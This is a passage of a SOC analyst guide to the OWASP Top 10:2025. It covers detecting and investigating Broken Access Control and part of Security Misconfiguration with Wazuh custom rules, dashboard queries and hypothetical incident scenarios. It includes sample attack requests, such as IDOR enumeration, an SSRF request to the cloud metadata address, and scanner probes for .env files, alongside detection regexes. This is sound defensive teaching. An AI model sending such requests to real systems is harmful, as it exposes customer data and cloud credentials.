OWASP Top 10 for SOC Analysts: Web Attack Detection and Investigation with Wazuh

The OWASP Top 10 2025 is the latest edition of OWASP’s list of the most critical web application security risks. Developers use it to write safer code. Security operations center (SOC) teams use it as a shared language to classify web attacks, decide which logs to collect, and explain incidents to developers and managers.

This guide explains all ten OWASP Top 10:2025 categories from a defender’s point of view. For each category, it covers how the attack works, what evidence it leaves in logs, how to detect it with Wazuh, how a SOC analyst investigates and responds, and how the organization can prevent it. Every category also includes a hypothetical SOC investigation scenario that walks through a realistic enterprise case from the first alert to remediation.

Table of Contents

  1. OWASP Top 10:2025 Overview
  2. Web Attack Fundamentals for SOC Analysts
  3. A01:2025 Broken Access Control
  4. A02:2025 Security Misconfiguration
  5. A03:2025 Software Supply Chain Failures
  6. A04:2025 Cryptographic Failures
  7. A05:2025 Injection
  8. A06:2025 Insecure Design
  9. A07:2025 Authentication Failures
  10. A08:2025 Software or Data Integrity Failures
  11. A09:2025 Security Logging and Alerting Failures
  12. A10:2025 Mishandling of Exceptional Conditions
  13. How to Tell Similar OWASP Categories Apart
  14. Complete SOC Investigation Workflow for a Suspicious Web Request
  15. Triage Guide for Common Web Security Alerts
  16. OWASP Top 10:2025 Quick Reference Table
  17. Glossary of Key Terms
  18. Frequently Asked Questions
  19. Conclusion
  20. References and Further Reading

OWASP Top 10:2025 Overview

OWASP (Open Worldwide Application Security Project) is a nonprofit community that publishes free application security material.

The OWASP Top 10 is an awareness document. It lists the ten most important categories of web application security risk. Each category groups many related CWEs. A CWE (Common Weakness Enumeration) is a numbered type of software weakness kept by MITRE, for example CWE-89 for SQL injection.

The 2025 edition is the eighth edition. Compared with 2021:

  1. A03:2025 Software Supply Chain Failures is new. It grows the old “Vulnerable and Outdated Components” category to cover the whole build, distribution and update process.
  2. A10:2025 Mishandling of Exceptional Conditions is new. It covers poor error handling, logic errors and “failing open”.
  3. Server Side Request Forgery (SSRF) is no longer its own category. It is now part of A01:2025 Broken Access Control.
  4. Security Misconfiguration moved up from number 5 to number 2.
  5. “Identification and Authentication Failures” was renamed Authentication Failures.
  6. “Security Logging and Monitoring Failures” was renamed Security Logging and Alerting Failures to stress that logs are useless if nobody is alerted.

Source: OWASP Top 10:2025 Introduction

Why it matters to a SOC: A SOC analyst does not fix code. The OWASP Top 10 gives the SOC a shared language: when an analyst reports that an alert “looks like A01 Broken Access Control”, developers, managers and auditors all understand the type of problem.

How the 2021 Categories Map to the 2025 List

OWASP Top 10:2021OWASP Top 10:2025What changed
A01 Broken Access ControlA01 Broken Access ControlStays first; now also includes Server Side Request Forgery
A02 Cryptographic FailuresA04 Cryptographic FailuresMoved down two positions
A03 InjectionA05 InjectionMoved down two positions; still includes XSS
A04 Insecure DesignA06 Insecure DesignMoved down two positions
A05 Security MisconfigurationA02 Security MisconfigurationMoved up three positions
A06 Vulnerable and Outdated ComponentsA03 Software Supply Chain FailuresExpanded to cover the whole build, distribution and update process
A07 Identification and Authentication FailuresA07 Authentication FailuresSame position, shorter name
A08 Software and Data Integrity FailuresA08 Software or Data Integrity FailuresSame position, clarified name
A09 Security Logging and Monitoring FailuresA09 Security Logging and Alerting FailuresSame position; name now stresses alerting
A10 Server Side Request ForgeryMerged into A01 Broken Access ControlNo longer a separate category
Not presentA10 Mishandling of Exceptional ConditionsNew category for unsafe error handling and failing open

Web Attack Fundamentals for SOC Analysts

Vulnerability, Attack Attempt, Exploitation and Incident

These four terms are not the same, and mixing them up leads to wrong severity decisions.

TermSimple meaningExampleWho usually confirms it
VulnerabilityA weakness exists in the application. Nobody has to be attacking.The invoice API does not check who owns invoice 10422.Application security team, penetration testers, developers
Attack attemptSomeone tried to use a weakness. It may have failed.An IP sends GET /api/invoices/10422 while logged in as another customer and gets 403 Forbidden.SOC analyst from logs
Successful exploitationThe attempt worked. The attacker got something they should not have.The same request returns 200 OK with 1834 bytes of another customer’s invoice data.SOC analyst with application team, using response evidence
Security incidentAn event that harms or threatens confidentiality, integrity or availability and needs a response under policy.3,000 invoices were downloaded by one account in 10 minutes. Customer data is exposed.Incident response lead, based on SOC findings

Rule to remember: A Wazuh alert proves that a log matched a pattern. It does not prove the vulnerability exists, and it does not prove exploitation succeeded. The analyst proves those things by investigation.

HTTP Basics for Security Analysts

HTTP (Hypertext Transfer Protocol) is the language browsers and apps use to talk to web servers. HTTPS is HTTP inside an encrypted TLS (Transport Layer Security) connection.

A request has these parts:

POST /api/orders/7781/cancel?source=mobile HTTP/1.1
Host: shop.example.com
Cookie: session=8f2c1e7b94d04a6e9c31f5a2d7e8b610
Content-Type: application/json
User-Agent: Mozilla/5.0

{"reason": "duplicate"}
  1. Method: the action. GET reads, POST creates or submits, PUT replaces, PATCH updates, DELETE removes.
  2. Path: the resource, here /api/orders/7781/cancel.
  3. Query string: parameters after ?, here source=mobile.
  4. Headers: extra information such as the Cookie that identifies the logged in session.
  5. Body: data sent with POST, PUT or PATCH, often JSON.

Status codes in the response tell you what the server did:

CodeMeaningWhy a SOC analyst cares
200OK, the request workedAn attack request that returns 200 needs closer review
301, 302RedirectOften a redirect to the login page after a failed check
400Bad requestMalformed input, common during scanning
401Unauthorized (really means “not authenticated”)Login is required or failed
403Forbidden (authenticated but not allowed)Access control blocked the request, which is good
404Not foundMany 404s from one IP usually mean scanning
500Internal server errorThe application crashed or threw an error, important for Injection and A10
503Service unavailableOverload or dependency failure

Important: many web servers do not log the request body or headers such as Cookie and Authorization. This is a big reason why web attacks can be invisible in access logs.

How to Read a Web Access Log Line

Apache and NGINX write one line per request in the “combined” log format:

203.0.113.45 - - [04/Nov/2026:10:15:32 +0000] "GET /api/invoices/10422 HTTP/1.1" 200 1834 "-" "python-requests/2.31.0"
PartValueMeaning
Client IP203.0.113.45Who sent the request (may be a proxy, see below)
Timestamp04/Nov/2026:10:15:32 +0000When the server received it, with time zone
Method and pathGET /api/invoices/10422What was requested
Status200What the server answered
Bytes1834Size of the response. Big changes in size can show data exposure
Referer-Page that linked here. Empty for scripts
User agentpython-requests/2.31.0Client software. Scripts and scanners often reveal themselves here

Proxy warning: if the web server sits behind a load balancer or CDN, the client IP in the log may be the load balancer. The real client IP is then in a header such as X-Forwarded-For, which must be added to the log format to be visible.

How Wazuh Sees a Web Log

The Wazuh agent on the web server reads the log file. The Wazuh manager decodes it and runs rules. For standard access logs, the built in decoder named web-accesslog extracts four fields:

Decoded fieldAlert field in the dashboardExample
srcipdata.srcip203.0.113.45
protocol (the HTTP method)data.protocolGET
urldata.url/api/invoices/10422
id (the HTTP status code)data.id200

Built in rule 31100 (level 0) groups all access log events. Other built in web rules use it as their parent.

Source: Wazuh decoder file 0375-web-accesslog_decoders.xml and Wazuh web rules 0245-web_rules.xml

SOC Roles and Responsibilities for Web Incidents

RoleTypical duties for web attacks
L1 analystWatch alerts, triage, check obvious false positives, collect first evidence, escalate with a clear note
L2 analystDeeper investigation, correlate across logs, decide if exploitation succeeded, recommend containment
L3 analyst or detection engineerThreat hunting, build and tune rules and decoders, lead complex incidents, improve visibility
DevelopersFix code and application logic
System or platform administratorsChange server, cloud and network configuration, apply patches
Application security teamConfirm vulnerabilities, run tests, guide secure fixes
Incident response lead or managerDeclare incidents, coordinate teams, handle legal and customer communication

Severity Levels Used in This Article

Every organization has its own severity matrix. This article uses the simple version below so the logic stays consistent across categories.

SeverityTypical meaning
LowAttempt only, blocked, no sensitive asset, common internet noise
MediumRepeated or targeted attempts, or a weakness confirmed without evidence of misuse
HighEvidence of successful exploitation, or a confirmed weakness on a sensitive internet facing system
CriticalConfirmed data theft, account takeover at scale, code execution on a server, or ongoing attacker control

The SOC Response Lifecycle

Each category section adapts these steps:

  1. Triage: Is the alert real? Which asset? Is it still happening?
  2. Evidence collection: Save the alert JSON, raw logs and time window before logs rotate.
  3. Correlation: Link related events by source IP, user, session, host and time.
  4. Severity and impact: Decide what was affected and how badly.
  5. Escalation: Hand over to L2, L3 or the incident lead with a clear summary.
  6. Containment recommendation: Suggest blocking, disabling, isolating or rolling back. The owning team usually executes.
  7. Coordination: Work with developers, administrators and application security.
  8. Remediation verification: Confirm the fix with new tests and new logs.
  9. Documentation and closure: Write the timeline, findings, root cause and lessons learned.

A01:2025 Broken Access Control

Official page: OWASP A01:2025 Broken Access Control

What Is Broken Access Control?

Definition: Broken Access Control means the application does not correctly check what a logged in or anonymous user is allowed to do, so a user can read, change or delete data, or use functions, that belong to someone else or to a higher role.

Key terms:

  1. Authentication answers “who are you?” (login).
  2. Authorization or access control answers “what are you allowed to do?” A01 is about authorization.
  3. IDOR (Insecure Direct Object Reference) means the app uses an ID from the request, such as invoice_id=10422, and returns the object without checking ownership. Related weakness: CWE-639.
  4. Privilege escalation means gaining a higher role, for example a normal user using admin functions.
  5. Forced browsing means typing or guessing URLs such as /admin that are not linked in the menu.
  6. SSRF (Server Side Request Forgery) means tricking the server into sending a request to a place the attacker cannot reach directly, such as an internal admin page or a cloud metadata service. In 2025 OWASP placed SSRF (CWE-918) in A01.
  7. CSRF (Cross Site Request Forgery, CWE-352) means a malicious site makes a victim’s browser send an unwanted request using the victim’s session. OWASP also maps CSRF to A01.
  8. CORS (Cross Origin Resource Sharing) is a browser rule set. A wrong CORS setting can let an untrusted website call your API with a user’s session.

What weakness it represents: The server trusts something the user controls, such as an ID in the URL, a hidden form field, a role value in a cookie or token, or the fact that a button is hidden in the user interface.

Why it happens:

  1. Developers check permissions in the browser (JavaScript) instead of on the server.
  2. Each API endpoint implements its own check, and some endpoints are forgotten, especially PUT, PATCH and DELETE.
  3. The app checks “is the user logged in?” but not “does this user own this record?”
  4. The default is “allow” instead of “deny by default”.
  5. Tokens such as a JWT (JSON Web Token, a signed token carrying user claims) are accepted without proper validation or are never expired.

Why attackers target it: It is easy to test. An attacker only needs a normal account and a tool that changes requests. OWASP reports that 100% of tested applications had some form of broken access control, and it has the highest number of occurrences in the 2025 data.

What can happen after successful exploitation:

  1. Unauthorized reading of data (confidentiality loss).
  2. Unauthorized changing or deleting of data (integrity loss).
  3. Business functions used outside limits, such as approving your own refund.
  4. Full admin takeover of the application.
  5. With SSRF, access to internal services or cloud credentials.

Business assets affected: customer personal data, invoices and orders, health or financial records, employee records, admin consoles, internal APIs, and cloud credentials.

How Broken Access Control Attacks Work

  1. What the attacker needs first: usually a normal user account (a free customer signup is enough), a browser, and a proxy tool that lets them view and edit requests. For forced browsing or SSRF, sometimes no account is needed.
  2. What part of the application is targeted: API endpoints that take an object ID, admin pages, role or permission fields, and features that fetch a URL on the server side (for example “import image from URL”).
  3. What the attacker sends or changes:
    1. Changes an ID: /api/invoices/10421 becomes /api/invoices/10422.
    2. Requests a hidden page: /admin/users.
    3. Changes a role in a request body: "role": "user" becomes "role": "admin".
    4. Changes the HTTP method: from GET to DELETE on the same resource.
    5. For SSRF, puts an internal address in a URL parameter.
  4. What the vulnerable application does: It processes the request without checking whether this user is allowed to access this object or function.
  5. How the attacker exploits it: After one successful test, the attacker automates it, for example by looping through thousands of IDs.
  6. What happens when it succeeds: The server returns 200 OK with someone else’s data, or performs the action.
  7. Evidence it may leave:
    1. Access logs showing one user or IP requesting many sequential IDs.
    2. Requests to admin paths from non admin users or unusual IPs.
    3. Application logs (if they exist) showing user A reading objects owned by user B.
    4. A mix of 403 responses (blocked tries) and 200 responses (successes) from the same source.
    5. For SSRF, outbound connections from the web server to internal or metadata addresses.

Broken Access Control Attack Examples

Example 1: IDOR on an invoice API

  1. Situation: A software company has a customer portal. Customers download invoices from /api/invoices/{id}.
  2. Attacker objective: Collect other companies’ invoices, which contain names, addresses and amounts.
  3. Attacker actions: Logs in with a trial account, opens their own invoice 10421, then sends requests for nearby numbers.
  4. Example request:
GET /api/invoices/10422 HTTP/1.1
Host: portal.example.com
Cookie: session=4b9e21c07fd84c3a8e5d6f1a2c90b7e3
  1. Vulnerable application behavior: The code checks that the session is valid but not that invoice 10422 belongs to the trial account. It returns the invoice.
  2. Representative access log entries:
203.0.113.45 - - [04/Nov/2026:10:15:31 +0000] "GET /api/invoices/10421 HTTP/1.1" 200 1790 "-" "python-requests/2.31.0"
203.0.113.45 - - [04/Nov/2026:10:15:32 +0000] "GET /api/invoices/10422 HTTP/1.1" 200 1834 "-" "python-requests/2.31.0"
203.0.113.45 - - [04/Nov/2026:10:15:32 +0000] "GET /api/invoices/10423 HTTP/1.1" 200 1801 "-" "python-requests/2.31.0"
  1. Attempt versus success: If the server answered 403 or 404 for invoices the user does not own, it is only an attempt. Because it answered 200 with normal invoice sized responses, it is likely successful exploitation. Final proof comes from the application team confirming that invoice 10422 belongs to a different customer.
  2. Impact: Personal and financial data exposure for many customers, possible privacy breach notification.

Example 2: Forced browsing to an admin function

  1. Situation: An HR application hides the “Export all employees” button from normal staff. The page /admin/export still exists.
  2. Attacker objective: An employee wants salary data for all staff.
  3. Attacker actions: Types the URL directly in the browser.
  4. Example request: GET /admin/export?format=csv
  5. Vulnerable application behavior: The menu is hidden in the user interface, but the server does not check the role. It returns the CSV file.
  6. Attempt versus success: 403 Forbidden means the control worked. 200 with a large response size (for example 2 MB) means the export likely succeeded.
  7. Impact: Internal data leak, privacy violation, insider threat case.

Example 3: SSRF Through an Image Import Feature

  1. Situation: A marketing site lets users import a profile picture from a URL.
  2. Attacker objective: Reach the cloud metadata service, which can return temporary cloud credentials.
  3. Example request:
GET /profile/import?image_url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
  1. Vulnerable application behavior: The server fetches whatever URL is given, including internal addresses.
  2. Attempt versus success: The request in the access log is an attempt. Success is shown by an outbound connection from the web server to 169.254.169.254 (seen in firewall, cloud flow logs or endpoint telemetry) and by an unusual response size, or later by those cloud credentials being used from an unexpected location.
  3. Impact: Cloud account compromise if credentials are exposed. (Cloud metadata protections such as token required metadata access reduce this risk.)

Broken Access Control Indicators and Evidence

IndicatorWhere you see itStrength
One user or IP requests many sequential object IDsWeb access logsSuspicious signal. Could be a legitimate bulk tool
The same session reads objects owned by many different customersApplication logs with user and owner fieldsStrong evidence
200 responses to /admin paths from a non admin accountAccess logs plus app logs that include the user and roleStrong evidence
Many 403 responses followed by a 200 on a similar pathAccess logsSuspicious, shows probing that may have found a gap
Changed HTTP methods (PUT, DELETE) on resources normally only readAccess logsSuspicious
Role or permission fields in request bodies, such as "isAdmin": trueWAF or app logs (bodies are not in access logs)Strong if the change was accepted
URL parameters containing internal IPs, localhost or 169.254.169.254Access logs, WAF logsSuspicious (attempt)
Outbound connection from web server to metadata or internal admin IPsFirewall, cloud flow logs, Sysmon Event 3Strong evidence for SSRF success
Response sizes much larger than normal for that endpointAccess logs (bytes field)Suspicious, supports data exposure
Script user agents such as python-requests or curl on customer APIsAccess logsWeak signal alone

How to Detect Broken Access Control with Wazuh

Required Log Sources

SourceNecessary or optionalWhy
Web server access logs (Apache, NGINX, IIS)NecessaryShows path, ID, method, status and source IP
Application logs with user ID, object ID, owner and decision (allow or deny)Strongly recommendedThe only reliable way to prove “user A accessed user B’s object”
WAF logsOptionalShows blocked tampering and request bodies if configured
Reverse proxy or load balancer logsNecessary if a proxy hides client IPsGives the real client IP
Firewall, cloud flow logs or Sysmon network events from the web serverNecessary for SSRFShows outbound requests made by the server
Identity provider logsOptionalConnects sessions to real user identities

What Wazuh Can and Cannot Detect

  1. Directly with built in rules: Wazuh does not have a built in “IDOR” or “broken access control” rule. Built in web rules can still help:
    1. Rule 31101 (level 5) “Web server 400 error code” and rule 31151 (level 10) “Multiple web server 400 error codes from same source ip” (14 events in 90 seconds). Many 403 and 404 responses can show forced browsing.
    2. Rule 31516 (level 6) “Suspicious URL access” matches paths such as /server-status and .bak files.
  2. Needs custom rules: sequential ID enumeration, admin paths returning 200 to unexpected sources, SSRF style parameters.
  3. Needs application logs: proving ownership violations. Access logs do not know who owns invoice 10422.
  4. Needs external telemetry: SSRF success needs network data from the web server (Sysmon Event 3 on Windows, auditd or firewall logs on Linux, or cloud flow logs).
  5. Cannot be reliably detected by Wazuh alone: a single quiet IDOR request by a logged in user that looks exactly like normal traffic. Detecting it needs business context (who owns what).
  6. Suspicious activity versus proof: A rule that counts 30 invoice reads in one minute detects suspicious behavior. Only ownership data proves a vulnerability was exploited.

Wazuh Rules for Broken Access Control

All rules below are custom rules (examples). Place them in /var/ossec/etc/rules/local_rules.xml (or a new file in /var/ossec/etc/rules/) on the Wazuh manager.

Rule logic:

  1. 100101: An admin path returned 200 to a source IP outside the internal range 10.0.0.0/8.
  2. 100102 and 100103: Count successful invoice reads by ID. If one source IP makes 30 of them in 60 seconds, raise an alert.
  3. 100104: A URL parameter contains an internal or cloud metadata address, a common SSRF attempt.

Fields inspected: url, id (HTTP status) and srcip, all produced by the built in web-accesslog decoder. All rules use built in rule 31100 as the parent.

<group name="custom_owasp,owasp_a01,web,">

  <!-- Custom rule (example): admin area returned 200 to a non internal source -->
  <rule id="100101" level="10">
    <if_sid>31100</if_sid>
    <url type="pcre2">(?i)^/(admin|api/admin|manage)(/|\?|$)</url>
    <id>^200$</id>
    <srcip negate="yes">10.0.0.0/8</srcip>
    <description>OWASP A01: Admin path returned 200 to a source outside the internal network</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): low level counter for successful invoice reads by ID -->
  <rule id="100102" level="2">
    <if_sid>31100</if_sid>
    <url type="pcre2">^/api/invoices/\d+$</url>
    <id>^200$</id>
    <description>OWASP A01: Invoice object retrieved by numeric ID</description>
  </rule>

  <!-- Custom rule (example): many invoice IDs from one source in a short time -->
  <rule id="100103" level="10" frequency="30" timeframe="60">
    <if_matched_sid>100102</if_matched_sid>
    <same_srcip />
    <description>OWASP A01: Possible IDOR enumeration, 30 invoice reads from one source in 60 seconds</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): internal or metadata address inside a URL parameter -->
  <rule id="100104" level="8">
    <if_sid>31100</if_sid>
    <url type="pcre2">(?i)=(https?|gopher|file)(%3A|:)(%2F|/){2}(169\.254\.169\.254|127\.0\.0\.1|localhost|metadata\.google\.internal)</url>
    <description>OWASP A01: Possible SSRF attempt, internal or metadata address in a URL parameter</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>

</group>

Why these levels:

  1. 100101 at level 10: A successful admin response to an outside IP should be looked at quickly, but it may be a legitimate remote admin, so it is not level 12 or above.
  2. 100102 at level 2: It only counts. Level 2 is below the default alert logging threshold (level 3), so it does not flood the alert index. It must not be level 0, because the Wazuh analysis engine stops processing a level 0 match before storing it for correlation, so a frequency rule could never count it (checked in the wazuh-analysisd source, src/analysisd/analysisd.c, v4.14.10).
  3. 100103 at level 10: Level 10 in the Wazuh classification means “multiple user generated errors” or repeated suspicious events. It needs review but is not yet proof.
  4. 100104 at level 8: An attempt only. Success must be confirmed with network data.

Engine detail: Child rules under the same parent are checked in order of level, highest first (also verified in src/analysisd/rules_list.c). That is why a level 10 custom rule under 31100 is checked before built in 31101 (level 5).

How to test with sample logs:

  1. On the manager run /var/ossec/bin/wazuh-logtest.
  2. Paste this line to test 100101:
198.51.100.20 - - [04/Nov/2026:11:02:10 +0000] "GET /admin/users HTTP/1.1" 200 5120 "-" "Mozilla/5.0"
  1. Expected result in Phase 3: id: '100101', level: '10'.
  2. To test 100103, paste 30 lines with /api/invoices/10422, /api/invoices/10423 and so on from the same IP inside one session. The thirtieth line should show 100103. wazuh-logtest keeps a firedtimes counter per session, so frequency rules can be tested.
  3. Paste this line to test 100104:
203.0.113.77 - - [04/Nov/2026:11:05:44 +0000] "GET /profile/import?image_url=http://169.254.169.254/latest/meta-data/ HTTP/1.1" 200 312 "-" "curl/8.5.0"
  1. Restart the manager after saving: systemctl restart wazuh-manager. wazuh-logtest reads saved rules without a restart, but live alerting needs the restart.

Expected alert (representative, shortened):

{
  "timestamp": "2026-11-04T10:16:02.114+0000",
  "rule": {
    "level": 10,
    "description": "OWASP A01: Possible IDOR enumeration, 30 invoice reads from one source in 60 seconds",
    "id": "100103",
    "frequency": 30,
    "firedtimes": 1,
    "mitre": { "id": ["T1190"], "tactic": ["Initial Access"], "technique": ["Exploit Public-Facing Application"] },
    "groups": ["custom_owasp", "owasp_a01", "web"]
  },
  "agent": { "id": "014", "name": "portal-web-01", "ip": "10.20.4.15" },
  "decoder": { "name": "web-accesslog" },
  "data": { "protocol": "GET", "srcip": "203.0.113.45", "id": "200", "url": "/api/invoices/10451" },
  "location": "/var/log/nginx/access.log",
  "full_log": "203.0.113.45 - - [04/Nov/2026:10:16:02 +0000] \"GET /api/invoices/10451 HTTP/1.1\" 200 1822 \"-\" \"python-requests/2.31.0\""
}

Investigating the Alert in Wazuh

  1. Where to find the alert: In the Wazuh dashboard open Threat Hunting, then the Events tab. Filter with rule.id:100103. You can also use Discover with the wazuh-alerts-* index pattern.
  2. Fields to inspect: rule.id, rule.description, rule.level, data.srcip, data.url, data.id, agent.name, location, full_log, timestamp.
  3. Source IP: Read data.srcip. Check if it is internal, a known partner, a VPN, or a cloud host. If the server is behind a proxy, confirm the real client IP from proxy logs.
  4. Affected application: agent.name tells you which server. location tells you which log file and therefore which site.
  5. Affected user account: Access logs usually do not contain the user. Search application logs for the same IP and time to find the session and user ID.
  6. Timestamps: Find the first and last request from that IP. Note the time zone in the log.
  7. Correlate: Search all events from data.srcip for one hour before and after. Look for login events, 403 responses, admin paths and other endpoints.
  8. Was it successful? Look at status codes and response sizes in full_log. Ask the application team whether the returned IDs belong to the logged in customer.
  9. Impact: Count unique IDs returned with 200. Identify which customers own them.
  10. Document: Save the alert JSON, the list of URLs, counts, the user identity, and your conclusion with confidence level.

Useful Wazuh Dashboard Queries

The Wazuh dashboard search bar accepts DQL (Dashboards Query Language) from OpenSearch Dashboards, as in the official Wazuh proof of concept guides (for example rule.id:31103).

QueryWhat it findsWhat to look for
rule.id:100103Possible IDOR enumeration alertsWhich IPs and which time windows
data.srcip:"203.0.113.45" and data.url:/api/invoices/*All invoice requests from one IPRange of IDs, mix of 200 and 403
data.srcip:"203.0.113.45" and data.id:403Blocked requests from the IPProbing before success
rule.id:(31101 or 31151) and data.url:*admin*Errors on admin pathsForced browsing patterns
rule.id:100101Admin pages answered with 200 to outside sourcesUnknown IPs, odd hours
rule.id:100104 or data.url:*169.254.169.254*SSRF attemptsThen search firewall or Sysmon data for real outbound connections
rule.id:61605 and data.win.eventdata.destinationIp:"169.254.169.254"Sysmon Event 3 (network connection) to the metadata address, Windows web servers with Sysmon onlyWhich process made the connection

Detection Limitations

  1. Blind spot: Access logs show “a request for invoice 10422” but not “this invoice belongs to someone else”. Without application logs, IDOR can look normal.
  2. Body changes are invisible: Changing "role":"admin" in a JSON body does not appear in access logs.
  3. Slow attackers: One request every few minutes will not reach the frequency threshold.
  4. False positives: Customer integrations, reporting tools and internal batch jobs legitimately read many IDs. Build allow lists.
  5. Proxy IPs: If all traffic shows the load balancer IP, same_srcip correlation is useless until the real client IP is logged.
  6. GUIDs: If IDs are random GUIDs, enumeration is harder for attackers, but leaked GUIDs can still be abused one by one.
  7. Improve visibility: Ask developers to log user_id, object_id, owner_id and decision for sensitive objects in JSON format, then write Wazuh rules on those fields. Log X-Forwarded-For. Collect WAF logs and outbound network logs from web servers.

Practical SOC Investigation Scenario: Invoice Enumeration on a Billing Portal

Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.

Organization and affected application. A B2B software company runs a customer billing portal. Customers download invoices through a REST API at /api/invoices/{id}. The portal runs behind NGINX, and a Wazuh agent forwards the NGINX access logs to the Wazuh manager.

Initial suspicious activity. A trial account created that morning logs in and then starts requesting invoice IDs in strict numeric order from a script.

Initial detection. At 10:16 UTC, custom rule 100103 (“Possible IDOR enumeration, 30 invoice reads from one source in 60 seconds”) fires for source 203.0.113.45. It fires five more times over the next ten minutes.

Logs examined. The SOC analyst filters Threat Hunting with data.srcip:"203.0.113.45" for the last 24 hours, then requests the portal’s application log, which records the tenant that owns each invoice.

Suspicious indicators. The access logs show a login at 10:12, followed by about 1,900 GET /api/invoices/{id} requests with IDs increasing by one. Every request returns 200, the user agent is python-requests, and response sizes stay between 1,700 and 1,900 bytes, which matches a real invoice rather than an error page.

Event correlation. The application log ties the session to the trial tenant. Only 3 of the roughly 1,900 invoice IDs belong to that tenant.

Assessment of successful exploitation. The frequency alert on its own only shows suspicious activity. The 200 responses with invoice sized bodies make success likely. The ownership data from the application team confirms successful exploitation of an IDOR: the server returned objects owned by other tenants. Because customer data was exposed, the event is handled as a confirmed security incident. The user authenticated correctly, so this is authorization (A01), not A07.

Potential business impact. Invoices from around 400 customer organizations were returned. They contain company names, contact names, billing addresses and amounts, so privacy and legal teams must assess notification duties.

Incident response actions. The SOC escalates the case as High, then Critical once exposure is confirmed, and preserves the logs. It recommends a WAF block for the IP and disabling the trial account. The platform team applies the block, and the application team temporarily disables the invoice endpoint.

Recommended remediation. Developers add a server side ownership check to every invoice request. The application starts logging authz_denied events, and the SOC adds a Wazuh rule on them. Verification confirms that cross tenant requests now return 403.

Incident Response Process

StepWhat happensWho does it
Initial triageConfirm the alert matches real requests, identify the app, check if activity is ongoingSOC L1
Evidence collectionExport alert JSON, raw access logs, app logs, WAF logs for the windowSOC L1 or L2
Event correlationLink IP, session, user ID, tenant, and other endpoints touchedSOC L2
Severity assessmentAttempts only (Low or Medium), confirmed cross user data (High), large scale personal data (Critical)SOC L2
Impact assessmentCount records and owners exposed or changedSOC L2 with app team
EscalationNotify incident lead, app owner, privacy officer if personal dataSOC L2
Containment recommendationBlock IP or account, disable endpoint, revoke sessionsSOC recommends. App and platform teams execute
CoordinationDevelopers add server side checks; app security retestsDevelopment, AppSec
Remediation verificationReplay safe test requests; confirm 403; check logs for new denialsSOC with AppSec
Documentation and closureTimeline, root cause (missing ownership check), lessons, new detection rulesSOC, incident lead

Prevention and Remediation

  1. Deny by default for everything except public resources.
  2. Enforce access control on the server, never only in the browser.
  3. Check record ownership on every read, update and delete.
  4. Use one shared, tested authorization component instead of checks scattered in each endpoint.
  5. Disable directory listing and remove .git folders and backup files from web roots.
  6. Keep JWTs short lived and invalidate sessions on logout.
  7. Restrict CORS to trusted origins.
  8. For SSRF, allow list outbound destinations and block metadata and internal ranges at the network level.
  9. Apply rate limits on APIs.
  10. Log access control failures and alert on repeated failures, as OWASP recommends. This is where the SOC benefits directly.

A02:2025 Security Misconfiguration

Official page: OWASP A02:2025 Security Misconfiguration

What Is Security Misconfiguration?

Definition: Security Misconfiguration means a system, application or cloud service is set up insecurely, for example default passwords left enabled, debug pages exposed, directory listing turned on, detailed error messages shown to users, or cloud storage open to the internet.

Key terms:

  1. Hardening means removing unnecessary features and setting secure values.
  2. Default credentials are usernames and passwords that ship with a product, such as admin and admin.
  3. Directory listing means the web server shows a list of files in a folder when no index page exists.
  4. Stack trace is a detailed error report showing code files, functions and sometimes versions. It helps developers and also attackers.
  5. Security headers are HTTP response headers such as Strict-Transport-Security and Content-Security-Policy that tell browsers to apply protections.
  6. XXE (XML External Entity, CWE-611) is when an XML parser is configured to process external entities, letting an attacker read local files or reach internal systems. OWASP lists it as a notable CWE in A02.
  7. Configuration drift means a server slowly moves away from its approved secure baseline.

What weakness it represents: Missing or wrong security settings anywhere in the stack: operating system, web server, application server, framework, database, container or cloud service. OWASP notes the main CWE is CWE-16 Configuration.

Why it happens:

  1. Products ship with convenient but insecure defaults.
  2. Test settings (debug mode, sample apps) are copied to production.
  3. There is no repeatable hardening process, so each server is different.
  4. Teams prioritize backward compatibility over security.
  5. Cloud permissions are complex and easy to get wrong.

Why attackers target it: It needs little skill. Internet scanners constantly look for /.git/, /.env, /phpinfo.php, admin consoles and open storage buckets. OWASP reports that 100% of tested applications had some form of misconfiguration, and the category moved from number 5 to number 2.

What can happen after successful exploitation: Leaked secrets and source code, admin takeover through default passwords, server takeover through exposed management consoles, cloud data exposure, and better information for later attacks.

Business assets affected: source code, API keys and database passwords in config files, customer data in cloud storage, admin consoles, and the servers themselves.

How Security Misconfiguration Is Exploited

  1. What the attacker needs first: Only internet access and a scanner or a list of common paths. No account is needed.
  2. What is targeted: Known file paths, default admin pages, management ports, error pages, cloud storage URLs and XML upload features.
  3. What the attacker sends: Many GET requests to common sensitive paths, login attempts with default passwords, malformed input to trigger verbose errors, or XML containing an external entity.
  4. What the vulnerable application does: Returns the file, shows the listing, accepts the default password, shows the stack trace, or processes the external entity.
  5. How the attacker exploits it: Uses the leaked secret or source code to go deeper, logs in to the admin console, or downloads exposed data.
  6. What happens on success: Secrets exposed, admin access gained, data downloaded.
  7. Evidence left behind: Bursts of 404 responses from scanning, a few 200 responses on sensitive paths with meaningful sizes, logins to admin consoles, SCA check failures, unexpected config file changes.

Security Misconfiguration Attack Examples

Example 1: Exposed .env file on a production web server

  1. Situation: A retail company deploys a PHP or Node.js site by copying the project folder. The .env file, which holds the database password and a payment API key, ends up inside the public web root.
  2. Attacker objective: Steal secrets.
  3. Attacker actions: Runs an internet scanner that requests common files.
  4. Representative access log entries:
192.0.2.88 - - [05/Nov/2026:03:11:02 +0000] "GET /.git/config HTTP/1.1" 404 153 "-" "Mozilla/5.0 zgrab/0.x"
192.0.2.88 - - [05/Nov/2026:03:11:02 +0000] "GET /phpinfo.php HTTP/1.1" 404 153 "-" "Mozilla/5.0 zgrab/0.x"
192.0.2.88 - - [05/Nov/2026:03:11:03 +0000] "GET /.env HTTP/1.1" 200 1312 "-" "Mozilla/5.0 zgrab/0.x"
  1. Vulnerable behavior: The server serves .env as a plain text file.
  2. Attempt versus success: The 404 lines are attempts. The 200 with 1,312 bytes on /.env strongly suggests the file was downloaded. Confirm by checking whether that file exists in the web root and what it contains.
  3. Impact: Database and payment API credentials exposed. Treat them as compromised and rotate them.

Example 2: Default password on an application server admin console

